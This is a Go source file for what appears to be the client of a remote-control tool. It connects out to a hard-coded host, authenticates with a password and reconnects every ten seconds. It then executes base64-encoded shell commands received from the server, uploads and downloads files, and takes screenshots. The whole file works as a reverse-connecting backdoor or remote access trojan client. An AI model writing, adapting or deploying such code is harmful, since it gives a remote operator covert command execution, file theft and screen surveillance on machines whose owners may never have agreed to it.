package main

import (
	"bufio"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"remote-go/client/cmdClient"
	"remote-go/client/data"
	"runtime"
	"strings"
	"time"
)

var (
	RemoteIp = "200ge.d6.bzchao.com:1153"
	ConnPwd  = "pwd.bzchao.com"
)

func main() {
	RemoteIp = *flag.String("host", RemoteIp, "远程主机")
	ConnPwd = *flag.String("pwd", ConnPwd, "远程密码")
	flag.Parse()

	connectCheck()
}

// 每隔一段时间重连
func connectCheck() {
	//开始连接
	for {
		connect()
		time.Sleep(time.Second * 10)
	}
}

// 连接远程服务器
func connect() {
	log.Println("Connection...")
	conn, err := net.Dial("tcp", RemoteIp)
	if err != nil {
		log.Printf("Connection: %v\n", err)
		return
	}
	pwdMsg := base64.URLEncoding.EncodeToString([]byte(ConnPwd))
	conn.Write([]byte(pwdMsg + "\n"))
	fmt.Printf("Connection success, localAddr:%s\n", conn.LocalAddr().String())

	for {
		//等待接收指令，以 \n 为结束符，所有指令字符都经过base64
		message, err := bufio.NewReader(conn).ReadString('\n')
		if err == io.EOF {
			log.Println(err)
			// 如果服务器断开，则重新连接
			conn.Close()
			break
		}
		// 判断是否为网络错误
		if netError, err := err.(net.Error); err {
			log.Printf("netError,%v\n", netError)
			// 如果服务器断开，则重新连接
			conn.Close()
			break
		}
		// 收到指令base64解码
		decodedCase, _ := base64.StdEncoding.DecodeString(message)
		command := string(decodedCase)
		cmdParameter := strings.Split(command, " ")
		switch cmdParameter[0] {
		case "back":
			log.Printf("%s\n", "pwd error")
			conn.Close()
			break
		case "exit":
			conn.Close()
			os.Exit(0)
		case "charset":
			if len(cmdParameter) == 2 {
				data.Charset = cmdParameter[1]
			}
		case "upload":
			cmdClient.UploadToServer(conn)
		case "download":
			cmdClient.Download(conn)
		case "screenshot", "sc":
			cmdClient.ScreenShot(conn)
		case "getos":
			if runtime.GOOS == "windows" {
				command = "wmic os get name"
			} else {
				command = "uname -a"
			}
			fallthrough
		default:
			cmdClient.ExeCommand(command, conn)
		}
	}
}
